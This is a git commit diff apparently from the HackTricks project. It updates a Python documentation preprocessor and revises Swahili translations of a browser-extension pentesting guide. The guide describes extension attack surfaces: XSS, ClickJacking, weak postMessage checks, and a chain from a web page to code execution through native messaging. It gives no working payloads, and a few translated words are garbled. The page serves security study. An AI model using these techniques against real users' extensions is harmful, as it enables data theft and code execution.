Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox

This commit is contained in:
Translator 2025-01-03 03:36:40 +00:00
parent d94e97631d
commit 95e7bdf269
297 changed files with 3574 additions and 3477 deletions

View File

@ -22,6 +22,7 @@ after = ["links"]
[preprocessor.hacktricks]
command = "python3 ./hacktricks-preprocessor.py"
env = "prod"
[output.html]
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]

View File

@ -30,14 +30,16 @@ def ref(matchobj):
href = matchobj.groups(0)[0].strip()
title = href
if href.startswith("http://") or href.startswith("https://"):
# pass
try:
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
match = re.search('<title>(.*?)</title>', raw_html)
title = match.group(1) if match else href
except Exception as e:
logger.debug(f'Error opening URL {href}: {e}')
pass #nDont stop on broken link
if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
pass
else:
try:
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
match = re.search('<title>(.*?)</title>', raw_html)
title = match.group(1) if match else href
except Exception as e:
logger.debug(f'Error opening URL {href}: {e}')
pass #nDont stop on broken link
else:
try:
if href.endswith("/"):
@ -90,7 +92,7 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")

View File

@ -12,7 +12,7 @@ dht udp "DHT Nodes"
![](<images/image (273).png>)
![](<images/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
![](<images/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
InfluxDB
@ -24,6 +24,6 @@ InfluxDB
![](<images/image (340).png>)
![](<images/image (341).png>)
![](<images/image (341).png>)
{{#include ./banners/hacktricks-training.md}}

View File

@ -4,38 +4,38 @@
## Basic Information
Extensions za kivinjari zimeandikwa kwa JavaScript na hupakiwa na kivinjari katika hali ya nyuma. Ina [DOM](https://www.w3schools.com/js/js_htmldom.asp) yake lakini inaweza kuingiliana na DOM za tovuti nyingine. Hii inamaanisha kwamba inaweza kuhatarisha usiri, uadilifu, na upatikanaji (CIA) wa tovuti nyingine.
Extensions za kivinjari zimeandikwa kwa JavaScript na hupakiwa na kivinjari katika mandharinyuma. Ina [DOM](https://www.w3schools.com/js/js_htmldom.asp) yake lakini inaweza kuingiliana na DOM za tovuti nyingine. Hii inamaanisha kwamba inaweza kuhatarisha usiri, uadilifu, na upatikanaji (CIA) wa tovuti nyingine.
## Main Components
Muundo wa nyongeza unaonekana bora unapofikiriwa na unajumuisha vipengele vitatu. Hebu tuangalie kila kipengele kwa undani.
Muonekano wa nyongeza unaonekana bora unapofanywa kuwa wazi na unajumuisha vipengele vitatu. Hebu tuangalie kila kipengele kwa undani.
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
### **Content Scripts**
Kila script ya maudhui ina ufikiaji wa moja kwa moja kwa DOM ya **ukurasa mmoja wa wavuti** na hivyo inakabiliwa na **ingizo linaloweza kuwa na uharibifu**. Hata hivyo, script ya maudhui haina ruhusa nyingine isipokuwa uwezo wa kutuma ujumbe kwa msingi wa nyongeza.
Kila script ya maudhui ina ufikiaji wa moja kwa moja kwa DOM ya **ukurasa mmoja wa wavuti** na hivyo inakabiliwa na **ingizo linaloweza kuwa na madhara**. Hata hivyo, script ya maudhui haina ruhusa nyingine isipokuwa uwezo wa kutuma ujumbe kwa kiini cha nyongeza.
### **Extension Core**
Msingi wa nyongeza unajumuisha ruhusa nyingi za nyongeza, lakini msingi wa nyongeza unaweza kuingiliana tu na maudhui ya wavuti kupitia [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) na scripts za maudhui. Pia, msingi wa nyongeza haina ufikiaji wa moja kwa moja kwa mashine mwenyeji.
Kiini cha nyongeza kina ruhusa nyingi za nyongeza, lakini kiini cha nyongeza kinaweza kuingiliana tu na maudhui ya wavuti kupitia [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) na scripts za maudhui. Pia, kiini cha nyongeza hakina ufikiaji wa moja kwa moja kwa mashine mwenyeji.
### **Native Binary**
Nyongeza inaruhusu binary asilia ambayo inaweza **kufikia mashine mwenyeji kwa ruhusa kamili ya mtumiaji.** Binary asilia inaingiliana na msingi wa nyongeza kupitia Kiolesura cha Programu ya Plugin ya Netscape ya kawaida ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) inayotumiwa na Flash na nyongeza nyingine za kivinjari.
Nyongeza inaruhusu binary asilia ambayo inaweza **kufikia mashine mwenyeji kwa ruhusa kamili ya mtumiaji.** Binary asilia inaingiliana na kiini cha nyongeza kupitia Kiolesura cha Programu ya Plugin ya Netscape ya kawaida ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) inayotumiwa na Flash na nyongeza nyingine za kivinjari.
### Boundaries
> [!CAUTION]
> Ili kupata ruhusa kamili ya mtumiaji, mshambuliaji lazima amshawishi nyongeza kupitisha ingizo la uharibifu kutoka kwa script ya maudhui hadi msingi wa nyongeza na kutoka kwa msingi wa nyongeza hadi binary asilia.
> Ili kupata ruhusa kamili ya mtumiaji, mshambuliaji lazima amshawishi nyongeza kupitisha ingizo la madhara kutoka kwa script ya maudhui hadi kiini cha nyongeza na kutoka kwa kiini cha nyongeza hadi binary asilia.
Kila kipengele cha nyongeza kimewekwa mbali na kingine kwa **mipaka yenye ulinzi mkali**. Kila kipengele kinakimbia katika **mchakato tofauti wa mfumo wa uendeshaji**. Scripts za maudhui na misingi ya nyongeza zinakimbia katika **mchakato wa sandbox** ambao haupatikani kwa huduma nyingi za mfumo wa uendeshaji.
Kila kipengele cha nyongeza kimewekwa mbali na kingine kwa **mipaka yenye ulinzi mkali**. Kila kipengele kinakimbia katika **mchakato tofauti wa mfumo wa uendeshaji**. Scripts za maudhui na viini vya nyongeza vinakimbia katika **mchakato wa sandbox** ambao haupatikani kwa huduma nyingi za mfumo wa uendeshaji.
Zaidi ya hayo, scripts za maudhui zimej separated kutoka kwa kurasa zao za wavuti kwa **kukimbia katika heap tofauti ya JavaScript**. Script ya maudhui na ukurasa wa wavuti zina **ufikiaji wa DOM sawa ya msingi**, lakini hizo mbili **hazibadilishani viashiria vya JavaScript**, kuzuia kuvuja kwa kazi za JavaScript.
Zaidi ya hayo, scripts za maudhui zimej separated kutoka kwa kurasa zao za wavuti kwa **kukimbia katika heap tofauti ya JavaScript**. Script ya maudhui na ukurasa wa wavuti vina **ufikiaji wa DOM sawa ya msingi**, lakini viwili **havibadilishani viashiria vya JavaScript**, kuzuia kuvuja kwa kazi za JavaScript.
## **`manifest.json`**
Nyongeza ya Chrome ni tu folda ya ZIP yenye [.crx file extension](https://www.lifewire.com/crx-file-2620391). Msingi wa nyongeza ni **`manifest.json`** faili katika mzizi wa folda, ambayo inaelezea muundo, ruhusa, na chaguzi zingine za usanidi.
Nyongeza ya Chrome ni tu folda ya ZIP yenye [.crx file extension](https://www.lifewire.com/crx-file-2620391). Kiini cha nyongeza ni **`manifest.json`** faili katika mzizi wa folda, ambayo inaelezea muundo, ruhusa, na chaguzi zingine za usanidi.
Example:
```json
@ -78,7 +78,7 @@ Content scripts zina **pakiwa** kila wakati mtumiaji **anapohamia kwenye ukurasa
```
Ili kujumuisha au kutenga URL zaidi, pia inawezekana kutumia **`include_globs`** na **`exclude_globs`**.
Hii ni mfano wa script ya maudhui ambayo itaongeza kitufe cha maelezo kwenye ukurasa wakati [API ya hifadhi](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) inatumika kupata thamani ya `message` kutoka kwenye hifadhi ya nyongeza.
Hii ni mfano wa skripti ya maudhui ambayo itaongeza kitufe cha maelezo kwenye ukurasa wakati [API ya hifadhi](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) inatumika kupata thamani ya `message` kutoka kwenye hifadhi ya nyongeza.
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@ -91,22 +91,22 @@ document.body.appendChild(div)
```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
Ujumbe unatumwa kwa kurasa za nyongeza na script ya maudhui wakati kitufe hiki kinapobonyezwa, kupitia matumizi ya [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Hii ni kutokana na kikomo cha script ya maudhui katika ufikiaji wa moja kwa moja wa APIs, ambapo `storage` ni miongoni mwa ubaguzi wachache. Kwa kazi zaidi ya ubaguzi hizi, ujumbe unatumwa kwa kurasa za nyongeza ambazo script za maudhui zinaweza kuwasiliana nazo.
Ujumbe unatumwa kwa kurasa za nyongeza na script ya maudhui wakati kitufe hiki kinapobonyezwa, kupitia matumizi ya [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Hii ni kutokana na kikomo cha script ya maudhui katika ufikiaji wa moja kwa moja wa APIs, ambapo `storage` ni miongoni mwa visثi vichache. Kwa kazi zaidi ya visثi hivi, ujumbe unatumwa kwa kurasa za nyongeza ambazo script za maudhui zinaweza kuwasiliana nazo.
> [!WARNING]
> Kulingana na kivinjari, uwezo wa script ya maudhui unaweza kutofautiana kidogo. Kwa vivinjari vinavyotegemea Chromium, orodha ya uwezo inapatikana katika [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), na kwa Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) inatumika kama chanzo kikuu.\
> Kulingana na kivinjari, uwezo wa script ya maudhui unaweza kutofautiana kidogo. Kwa kivinjari kinachotegemea Chromium, orodha ya uwezo inapatikana katika [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), na kwa Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) inatumika kama chanzo kikuu.\
> Pia ni muhimu kutambua kwamba script za maudhui zina uwezo wa kuwasiliana na script za nyuma, na kuwapa uwezo wa kutekeleza vitendo na kurudisha majibu.
Ili kuona na kufanyia kazi script za maudhui katika Chrome, menyu ya zana za maendeleo za Chrome inaweza kufikiwa kutoka Options > More tools > Developer tools AU kwa kubonyeza Ctrl + Shift + I.
Baada ya zana za maendeleo kuonyeshwa, **Source tab** inapaswa kubonyezwa, ikifuatiwa na **Content Scripts** tab. Hii inaruhusu kuangalia script za maudhui zinazotumika kutoka nyongeza mbalimbali na kuweka alama za kuvunja ili kufuatilia mtiririko wa utekelezaji.
### Script za maudhui zilizoongezwa
### Script za maudhui zilizowekwa
> [!TIP]
> Kumbuka kwamba **Script za Maudhui si lazima** kwani pia inawezekana **kudumu** **kuongeza** script na **kuziingiza kimaandishi** katika kurasa za wavuti kupitia **`tabs.executeScript`**. Hii kwa kweli inatoa **udhibiti wa kina** zaidi.
> Kumbuka kwamba **Script za Maudhui si lazima** kwani pia inawezekana **kudumu** **kuweka** script na **kuziweka kimaandishi** kwenye kurasa za wavuti kupitia **`tabs.executeScript`**. Hii kwa kweli inatoa **udhibiti wa kina** zaidi.
Kwa kuingiza script ya maudhui kimaandishi, nyongeza inahitaji kuwa na [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) kwa ukurasa ambao script zitakuwa zinaingizwa. Ruhusa hizi zinaweza kupatikana ama kwa **kuziomba** ndani ya hati ya nyongeza au kwa msingi wa muda kupitia [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
Kwa kuweka script ya maudhui kimaandishi, nyongeza inahitaji kuwa na [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) kwa ukurasa ambao script zitakwekwa. Ruhusa hizi zinaweza kupatikana ama kwa **kuziomba** ndani ya hati ya nyongeza au kwa msingi wa muda kupitia [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Mfano wa nyongeza inayotegemea activeTab
```json:manifest.json
@ -175,7 +175,7 @@ Sehemu ya `run_at` inasimamia **wakati faili za JavaScript zinapoinjikwa kwenye
Thamani zinazowezekana ni:
- **`document_idle`**: Kadri inavyowezekana
- **`document_idle`**: Wakati wowote iwezekanavyo
- **`document_start`**: Baada ya faili zozote kutoka `css`, lakini kabla ya DOM nyingine yoyote kujengwa au script nyingine yoyote kuendeshwa.
- **`document_end`**: Mara moja baada ya DOM kukamilika, lakini kabla ya rasilimali ndogo kama picha na fremu kupakiwa.
@ -214,7 +214,7 @@ Meseji zinazotumwa na scripts za maudhui zinapokelewa na **background page**, am
- **Jukumu la Background Page:** Inafanya kazi kama kituo cha neva kwa nyongeza, kuhakikisha mawasiliano na uratibu kati ya sehemu mbalimbali za nyongeza.
- **Uthabiti:** Ni kitu kinachokuwepo kila wakati, kisichoonekana kwa mtumiaji lakini muhimu kwa utendaji wa nyongeza.
- **Uundaji Otomatiki:** Ikiwa haijafafanuliwa wazi, kivinjari kitaunda kiotomatiki background page. Ukurasa huu ulioundwa kiotomatiki utajumuisha scripts zote za background zilizotajwa katika hati ya nyongeza, kuhakikisha uendeshaji usio na mshikemshike wa kazi za background za nyongeza.
- **Uundaji Otomatiki:** Ikiwa haijafafanuliwa wazi, kivinjari kitaunda kiotomatiki background page. Ukurasa huu ulioundwa kiotomatiki utajumuisha scripts zote za background zilizotajwa katika hati ya nyongeza, kuhakikisha uendeshaji usio na mshono wa kazi za background za nyongeza.
> [!TIP]
> Urahisi unaotolewa na kivinjari katika kuunda kiotomatiki background page (wakati haijatangazwa wazi) unahakikisha kwamba scripts zote muhimu za background zimeunganishwa na zinafanya kazi, ikirahisisha mchakato wa kuweka nyongeza.
@ -252,7 +252,7 @@ Kumbuka kwamba kurasa hizi si za kudumu kama kurasa za nyuma kwani zinapakia mau
**`permissions`** na **`host_permissions`** ni entries kutoka `manifest.json` ambazo zitaonyesha **ni ruhusa zipi** nyongeza za kivinjari zina (hifadhi, eneo...) na katika **kurasa zipi za wavuti**.
Kama nyongeza za kivinjari zinaweza kuwa na **mamlaka makubwa**, moja mbaya au moja iliyovunjwa inaweza kumruhusu mshambuliaji **njia tofauti za kuiba taarifa nyeti na kupeleleza mtumiaji**.
Kama nyongeza za kivinjari zinaweza kuwa **na mamlaka makubwa**, moja mbaya au moja iliyovunjwa inaweza kumruhusu mshambuliaji **njia tofauti za kuiba taarifa nyeti na kupeleleza mtumiaji**.
Angalia jinsi mipangilio hii inavyofanya kazi na jinsi inaweza kutumika vibaya katika:
@ -262,13 +262,13 @@ browext-permissions-and-host_permissions.md
### `content_security_policy`
**sera ya usalama wa maudhui** inaweza kutangazwa pia ndani ya `manifest.json`. Ikiwa kuna moja iliyofafanuliwa, inaweza kuwa **hatari**.
**sera ya usalama wa maudhui** inaweza kutangazwa pia ndani ya `manifest.json`. Ikiwa kuna moja iliyofafanuliwa, inaweza kuwa **na hatari**.
Mipangilio ya default kwa kurasa za nyongeza za kivinjari ni ya kukatisha tamaa:
```bash
script-src 'self'; object-src 'self';
```
Kwa maelezo zaidi kuhusu CSP na uwezekano wa kupita angalia:
Kwa maelezo zaidi kuhusu CSP na uwezekano wa kupita, angalia:
{{#ref}}
../content-security-policy-csp-bypass/
@ -305,7 +305,7 @@ Katika nyongeza za umma, **extension-id inapatikana**:
Hata hivyo, ikiwa parameter ya `manifest.json` **`use_dynamic_url`** inatumika, **id hii inaweza kuwa ya dynamic**.
> [!TIP]
> Kumbuka kwamba hata kama ukurasa umeelezewa hapa, unaweza kuwa **umejilinda dhidi ya ClickJacking** kwa sababu ya **Content Security Policy**. Hivyo unahitaji kuangalia pia (sehemu ya frame-ancestors) kabla ya kuthibitisha kuwa shambulio la ClickJacking linawezekana.
> Kumbuka kwamba hata kama ukurasa umeelezewa hapa, unaweza kuwa **umejilinda dhidi ya ClickJacking** kutokana na **Content Security Policy**. Hivyo unahitaji pia kuangalia (sehemu ya frame-ancestors) kabla ya kuthibitisha kuwa shambulio la ClickJacking linawezekana.
Kuruhusiwa kufikia kurasa hizi kunafanya kurasa hizi **kuwa na uwezekano wa kuwa na udhaifu wa ClickJacking**:
@ -314,16 +314,16 @@ browext-clickjacking.md
{{#endref}}
> [!TIP]
> Kuruhusu kurasa hizi kupakuliwa tu na nyongeza na si kwa URL za nasibu kunaweza kuzuia mashambulizi ya ClickJacking.
> Kuruhusu kurasa hizi kupakuliwa tu na nyongeza na si na URL za nasibu kunaweza kuzuia mashambulizi ya ClickJacking.
> [!CAUTION]
> Kumbuka kwamba kurasa kutoka **`web_accessible_resources`** na kurasa nyingine za nyongeza pia zina uwezo wa **kuwasiliana na scripts za nyuma**. Hivyo ikiwa moja ya kurasa hizi ina udhaifu wa **XSS** inaweza kufungua udhaifu mkubwa zaidi.
>
> Aidha, kumbuka kwamba unaweza kufungua tu kurasa zilizoonyeshwa katika **`web_accessible_resources`** ndani ya iframes, lakini kutoka kwenye tab mpya inawezekana kufikia ukurasa wowote katika nyongeza ukijua extension ID. Hivyo, ikiwa XSS inapatikana ikitumia vigezo sawa, inaweza kutumika hata kama ukurasa haujawekwa katika **`web_accessible_resources`**.
> Zaidi ya hayo, kumbuka kwamba unaweza kufungua tu kurasa zilizoonyeshwa katika **`web_accessible_resources`** ndani ya iframes, lakini kutoka kwenye tab mpya inawezekana kufikia ukurasa wowote katika nyongeza ukijua extension ID. Hivyo, ikiwa XSS inapatikana ikitumia vigezo sawa, inaweza kutumika hata kama ukurasa haujawekwa katika **`web_accessible_resources`**.
### `externally_connectable`
Kulingana na [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), Mali ya `"externally_connectable"` katika manifest inatangaza **ni nyongeza zipi na kurasa za wavuti zinaweza kuungana** na nyongeza yako kupitia [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) na [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
Kulingana na [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), Mali ya `"externally_connectable"` ya manifest inatangaza **ni nyongeza zipi na kurasa za wavuti zinaweza kuungana** na nyongeza yako kupitia [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) na [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
- Ikiwa funguo ya **`externally_connectable`** **haijatangazwa** katika manifest ya nyongeza yako au imetangazwa kama **`"ids": ["*"]`**, **nyongeza zote zinaweza kuungana, lakini hakuna kurasa za wavuti zinaweza kuungana**.
- Ikiwa **IDs maalum zimeelezwa**, kama katika `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **ni hizo programu pekee** zinaweza kuungana.
@ -401,7 +401,7 @@ Mahali ambapo inahitajika kutaja **kitambulisho cha nyongeza**.
### Ujumbe wa Asili
Inawezekana kwa skripti za nyuma kuwasiliana na binaries ndani ya mfumo, ambayo yanaweza kuwa **na hatari za msingi kama RCEs** ikiwa mawasiliano haya hayajashughulikiwa ipasavyo. [More on this later](./#native-messaging).
Inawezekana kwa skripti za nyuma kuwasiliana na binaries ndani ya mfumo, ambayo yanaweza kuwa **na udhaifu mkubwa kama RCEs** ikiwa mawasiliano haya hayajashughulikiwa ipasavyo. [More on this later](./#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -413,7 +413,7 @@ console.log("Received " + response)
```
## Web **↔︎** Mawasiliano ya Skripti za Maudhui
Mazingira ambapo **skripti za maudhui** zinafanya kazi na ambapo kurasa za mwenyeji zipo ni **separated** kutoka kwa kila mmoja, kuhakikisha **isolation**. Licha ya isolation hii, zote zina uwezo wa kuingiliana na **Document Object Model (DOM)** ya ukurasa, rasilimali inayoshirikiwa. Ili ukurasa wa mwenyeji uweze kushiriki katika mawasiliano na **skripti ya maudhui**, au kwa njia isiyo ya moja kwa moja na nyongeza kupitia skripti ya maudhui, inahitajika kutumia **DOM** inayopatikana na pande zote kama njia ya mawasiliano.
Mazingira ambapo **skripti za maudhui** zinafanya kazi na ambapo kurasa za mwenyeji zipo ni **separated** kutoka kwa kila mmoja, kuhakikisha **isolation**. Licha ya **isolation** hii, zote zina uwezo wa kuingiliana na **Document Object Model (DOM)** ya ukurasa, rasilimali inayoshirikiwa. Ili ukurasa wa mwenyeji ushiriki katika mawasiliano na **skripti za maudhui**, au kwa njia isiyo ya moja kwa moja na nyongeza kupitia skripti za maudhui, inahitajika kutumia **DOM** inayopatikana na pande zote kama njia ya mawasiliano.
### Post Messages
```javascript:content-script.js
@ -458,7 +458,7 @@ Mawasiliano salama ya Post Message yanapaswa kuangalia uhalali wa ujumbe ulipoke
- Ikiwa regex inatumika, kuwa makini sana
- **Chanzo**: `received_message.source !== window` inaweza kutumika kuangalia ikiwa ujumbe ulikuwa **kutoka kwenye dirisha lile lile** ambapo Skripti ya Maudhui inasikiliza.
Ukaguzi wa awali, hata kama umefanywa, unaweza kuwa na udhaifu, hivyo angalia kwenye ukurasa ufuatao **mipango ya Post Message**:
Ukaguzi wa awali, hata kama umefanywa, unaweza kuwa na udhaifu, hivyo angalia kwenye ukurasa ufuatao **mipango ya Post Message inayoweza kupuuziliwa mbali**:
{{#ref}}
../postmessage-vulnerabilities/
@ -484,7 +484,7 @@ browext-xss-example.md
## Mawasiliano ya Skripti ya Maudhui **↔︎** Skripti ya Nyuma
Skripti ya Maudhui inaweza kutumia kazi [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **au** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) kutuma ujumbe **wa mara moja unaoweza kuandikwa kwa JSON**.
Skripti ya Maudhui inaweza kutumia kazi [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **au** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) kutuma ujumbe **wa mara moja unaoweza kuwasilishwa kwa JSON**.
Ili kushughulikia **jibu**, tumia **Promise** iliyorejeshwa. Ingawa, kwa ajili ya ulinganifu wa nyuma, bado unaweza kupitisha **callback** kama hoja ya mwisho.
@ -525,7 +525,7 @@ Katika mfano ulioangaziwa, **`sendResponse()`** ilitekelezwa kwa njia ya synchro
Kitu muhimu cha kuzingatia ni kwamba katika hali ambapo kurasa nyingi zimewekwa kupokea matukio ya `onMessage`, **kurasa ya kwanza kutekeleza `sendResponse()`** kwa tukio maalum itakuwa pekee inayoweza kutoa jibu kwa ufanisi. Majibu yoyote yanayofuata kwa tukio hilo hilo hayatazingatiwa.
Wakati wa kuunda nyongeza mpya, upendeleo unapaswa kuwa kwa ahadi badala ya callbacks. Kuhusu matumizi ya callbacks, kazi ya `sendResponse()` inachukuliwa kuwa halali tu ikiwa inatekelezwa moja kwa moja ndani ya muktadha wa synchronous, au ikiwa mhandisi wa tukio unaonyesha operesheni ya asynchronous kwa kurudisha `true`. Ikiwa hakuna mhandisi anayerudisha `true` au ikiwa kazi ya `sendResponse()` imeondolewa kutoka kwenye kumbukumbu (garbage-collected), callback inayohusiana na kazi ya `sendMessage()` itachochewa kwa default.
Wakati wa kuunda nyongeza mpya, upendeleo unapaswa kuwa kwa ahadi badala ya callbacks. Kuhusu matumizi ya callbacks, kazi ya `sendResponse()` inachukuliwa kuwa halali tu ikiwa inatekelezwa moja kwa moja ndani ya muktadha wa synchronous, au ikiwa mhandisi wa tukio unaonyesha operesheni ya asynchronous kwa kurudisha `true`. Ikiwa hakuna mhandisi yeyote anayerudisha `true` au ikiwa kazi ya `sendResponse()` imeondolewa kutoka kwenye kumbukumbu (garbage-collected), callback inayohusiana na kazi ya `sendMessage()` itachochewa kwa default.
## Ujumbe wa Asili
@ -539,7 +539,7 @@ Nyongeza za kivinjari pia zinaruhusu kuwasiliana na **binaries katika mfumo kupi
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
Mahali ambapo `name` ni mfuatano unaopitishwa kwa [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) au [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) ili kuwasiliana na programu kutoka kwa skripti za nyuma za nyongeza ya kivinjari. `path` ni njia ya binary, kuna aina 1 tu halali ambayo ni stdio (tumia stdin na stdout) na `allowed_origins` inaonyesha nyongeza ambazo zinaweza kuipata (na haziwezi kuwa na wildcard).
Mahali ambapo `name` ni mfuatano wa herufi uliotolewa kwa [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) au [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) kuwasiliana na programu kutoka kwa skripti za nyuma za nyongeza ya kivinjari. `path` ni njia ya binary, kuna aina 1 pekee halali ambayo ni stdio (tumia stdin na stdout) na `allowed_origins` inaonyesha nyongeza ambazo zinaweza kuipata (na haziwezi kuwa na wildcard).
Chrome/Chromium itatafuta json hii katika baadhi ya rejista za windows na baadhi ya njia katika macOS na Linux (maelezo zaidi katika [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
@ -563,7 +563,7 @@ Katika [**hiki kipande cha blogu**](https://spaceraccoon.dev/universal-code-exec
3. Skripti ya nyuma inapita ujumbe kwa programu ya asili kwa kutumia `sendNativeMessage`.
4. Programu ya asili inashughulikia ujumbe kwa njia hatari, ikisababisha utekelezaji wa msimbo.
Na ndani yake mfano wa **kuenda kutoka ukurasa wowote hadi RCE kwa kutumia kiendelezi cha kivinjari umeelezewa**.
Na ndani yake mfano wa **kuenda kutoka ukurasa wowote hadi RCE kwa kutumia kiendelezi cha kivinjari unafafanuliwa**.
## Taarifa Nyeti katika Kumbukumbu/Msimbo/Clipboard
@ -585,7 +585,7 @@ Zaidi ya hayo, taarifa nyeti sana kama vile funguo za kumbukumbu au nywila **haz
Katika **Firefox** unakwenda kwenye **`about:debugging#/runtime/this-firefox`** na bonyeza kitufe cha **`Load Temporary Add-on`**.
## Kupata msimbo wa chanzo kutoka duka
## Kupata msimbo wa chanzo kutoka dukani
Msimbo wa chanzo wa kiendelezi cha Chrome unaweza kupatikana kupitia njia mbalimbali. Hapa chini kuna maelezo ya kina na maagizo kwa kila chaguo.
@ -604,34 +604,34 @@ unzip -d "$extension_id-source" "$extension_id.zip"
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
### Tumia kiendelezi cha CRX Viewer
### Tumia nyongeza ya CRX Viewer
Njia nyingine rahisi ni kutumia Chrome Extension Source Viewer, ambayo ni mradi wa chanzo wazi. Inaweza kupakuliwa kutoka [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Msimbo wa chanzo wa mtazamaji upatikana katika [GitHub repository](https://github.com/Rob--W/crxviewer).
### Angalia chanzo cha kiendelezi kilichosakinishwa kwa ndani
### Angalia chanzo cha nyongeza iliyosakinishwa kwa ndani
Viendelezi vya Chrome vilivyowekwa ndani vinaweza pia kukaguliwa. Hapa kuna jinsi:
Nyongeza za Chrome zilizowekwa ndani pia zinaweza kukaguliwa. Hapa kuna jinsi:
1. Fikia saraka yako ya wasifu wa Chrome kwa kutembelea `chrome://version/` na kutafuta uwanja wa "Profile Path".
2. Tembelea folda ndogo ya `Extensions/` ndani ya saraka ya wasifu.
3. Folda hii ina viendelezi vyote vilivyowekwa, kwa kawaida na msimbo wao wa chanzo katika muundo unaoweza kusomeka.
1. Fikia saraka yako ya ndani ya Chrome kwa kutembelea `chrome://version/` na kutafuta uwanja wa "Profile Path".
2. Tembelea ndogo ya `Extensions/` ndani ya saraka ya wasifu.
3. Folda hii ina nyongeza zote zilizowekwa, kwa kawaida zikiwa na msimbo wao wa chanzo katika muundo unaoweza kusomeka.
Ili kubaini viendelezi, unaweza kuoanisha IDs zao na majina:
Ili kubaini nyongeza, unaweza kuoanisha vitambulisho vyao na majina:
- Washa Mode ya Developer kwenye ukurasa wa `about:extensions` ili kuona IDs za kila kiendelezi.
- Ndani ya folda ya kila kiendelezi, faili ya `manifest.json` ina uwanja wa `name` unaoweza kusomeka, ikikusaidia kubaini kiendelezi.
- Washa Mode ya Developer kwenye ukurasa wa `about:extensions` ili kuona vitambulisho vya kila nyongeza.
- Ndani ya folda ya kila nyongeza, faili ya `manifest.json` ina uwanja wa `name` unaoweza kusomeka, ikikusaidia kubaini nyongeza hiyo.
### Tumia Mchambuzi wa Faili au Unpacker
